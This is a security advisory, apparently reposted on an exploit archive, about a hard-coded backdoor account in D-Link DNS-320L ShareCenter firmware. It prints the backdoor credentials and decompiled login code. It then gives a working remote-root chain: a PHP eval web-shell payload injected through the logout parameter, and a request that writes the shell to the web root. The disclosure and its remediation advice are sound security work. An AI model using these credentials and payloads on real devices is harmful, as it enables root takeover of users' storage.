exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link DNS-320L ShareCenter Backdoor Account / Remote Root

D-Link DNS-320L ShareCenter Backdoor Account / Remote Root
Posted Jan 5, 2018
Authored by James Bercegay | Site gulftech.org

D-Link DNS-320L ShareCenter contains a backdoor account that allows for remote root command execution.

tags | exploit, remote, root
SHA-256 | acd60d040c7712f3d33b0be911ce4f5bdf7d9de33338a9562900b73c80bce2d9

D-Link DNS-320L ShareCenter Backdoor Account / Remote Root

Change Mirror Download
###########################################################################
______ ____________ __
/ ____/_ __/ / __/_ __/__ _____/ /_
/ / __/ / / / / /_ / / / _ \/ ___/ __ \
/ /_/ / /_/ / / __/ / / / __/ /__/ / / /
\____/\__,_/_/_/ /_/ \___/\___/_/ /_/

GulfTech Research and Development

###########################################################################
# D-Link DNS-320L ShareCenter Backdoor #
###########################################################################


Released Date: 2018-01-03
Last Modified: 2017-06-14
Company Info: D-Link
Version Info:
Vulnerable
D-Link DNS-320L ShareCenter < 1.06
Possibly various other ShareCenter devices

Not Vulnerable
D-Link DNS-320L ShareCenter >= 1.06


--[ Table of contents

00 - Introduction
00.1 Background

01 - Hard coded backdoor
01.1 - Vulnerable code analysis
01.2 - Remote exploitation

02 - Credit

03 - Proof of concept

04 - Solution

05 - Contact information


--[ 00 - Introduction

The purpose of this article is to detail the research that GulfTech has
recently completed regarding the D-Link DNS 320L ShareCenter.

--[ 00.1 - Background

D-Link Share Center 2-Bay Cloud Storage 2000 (DNS-320L) aims to be a
solution to share, stream, manage and back up all of your digital files by
creating your own personal Cloud.


--[ 01 - Hard coded backdoor

While doing some research on another device, I came across a hard coded
backdoor within one of the CGI binaries. Several different factors such as
similar file structure and naming schemas led me to believe that the code
that was in the other device was also shared with the DNS-320L ShareCenter.
As it turned out our hunch was correct. An advisory regarding the other
vulnerable device in question will be released in the future, as the vendor
for that device is still in the process of addressing the issues.

Now, let's take a moment to focus on the following file which is a standard
Linux ELF executable and pretty easy to go through.

/usr/local/modules/cgi/nas_sharing.cgi

The above file can be accessed by visiting "/cgi-bin/nas_sharing.cgi" and
contains the following function that is used to authenticate the user.

--[ 01.1 - Vulnerable code analysis

Below is the psuedocode created from the disassembly of the binary. I have
renamed the function to "re_BACKDOOR" to visually identify it more easily.

struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2)
{
const char *v2; // r5@1
const char *v3; // r4@1
struct passwd *result; // r0@4
FILE *v5; // r6@5
struct passwd *v6; // r5@7
const char *v7; // r0@9
size_t v8; // r0@10
int v9; // [sp+0h] [bp-1090h]@1
char s; // [sp+1000h] [bp-90h]@1
char dest; // [sp+1040h] [bp-50h]@1

v2 = a2;
v3 = a1;
memset(&s, 0, 0x40u);
memset(&dest, 0, 0x40u);
memset(&v9, 0, 0x1000u);
if ( *v2 )
{
v8 = strlen(v2);
_b64_pton(v2, (u_char *)&v9, v8);
if ( dword_2C2E4 )
{
sub_1194C((const char *)&unk_1B1A4, v2);
sub_1194C("pwd decode[%s]\n", &v9);
}
}
if (!strcmp(v3, "mydlinkBRionyg")
&& !strcmp((const char *)&v9, "abc12345cba") )
{
result = (struct passwd *)1;
}
else
{
v5 = (FILE *)fopen64("/etc/shadow", "r");
while ( 1 )
{
result = fgetpwent(v5);
v6 = result;
if ( !result )
break;
if ( !strcmp(result->pw_name, v3) )
{
strcpy(&s, v6->pw_passwd);
fclose(v5);
strcpy(&dest, (const char *)&v9);
v7 = (const char *)sub_1603C(&dest, &s);
return (struct passwd *)(strcmp(v7, &s) == 0);
}
}
}
return result;
}

As you can see in the above code, the login functionality specifically
looks for an admin user named "mydlinkBRionyg" and will accept the password
of "abc12345cba" if found. This is a classic backdoor. Simply login with
the credentials that were just mentioned from the above code.

--[ 01.2 - Remote exploitation

Exploiting this backdoor is fairly trivial, but I wanted a root shell, not
just admin access with the possibility of shell access. So, I started
looking at the functionality of this file and noticed the method referenced
when the "cmd" parameter was set to "15". This particular method happened
to contain a command injection issue. Now I could turn this hard coded
backdoor into a root shell, and gain control of the affected device.

However, our command injection does not play well with spaces, or special
characters such as "$IFS", so I got around this by just playing ping pong
with pipes, and syslog() in order to create a PHP shell. These are the
steps that I took to achieve this.

STEP01: We send a logout request to /cgi-bin/login_mgr.cgi?cmd=logout with
the "name" parameter value set to that of our malicious PHP wrapper code
within our POST data. This "name" parameter is never sanitized.

name=<?php unlink(__FILE__);eval($_REQUEST[01100111]);?>

At this point we have successfully injected our payload into the user logs,
as the name of the user who logouts is written straight to the user logs. A
user does not have to be logged in, in order to logout and inject data.

STEP02: We now use cat to readin the user log file and pipe it out to the
web directory in order to create our PHP web shell.

GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=15&user=mydlinkBRionyg&passwd=YWJjMT
IzNDVjYmE&system=cat</var/log/user.log>/var/www/shell.php HTTP/1.1

At this point an attacker can now simply visit the newly created web shell
and execute any PHP code that they choose, as root.

http://sharecenterhostname/shell.php?01100111=phpinfo();

By sending a request like the one above a remote attacker would cause the
phpinfo() function to be displayed, thus demonstrating successful remote
exploitation as root.


--[ 02 - Credit

James Bercegay
GulfTech Research and Development


--[ 03 - Proof of concept

We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.


--[ 04 - Solution

Upgrade to firmware version 1.06 or later. See the official vendor website
for further details.


--[ 05 - Contact information

Web
https://gulftech.org

Mail
security@gulftech.org


Copyright 2018 GulfTech Research and Development. All rights reserved.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close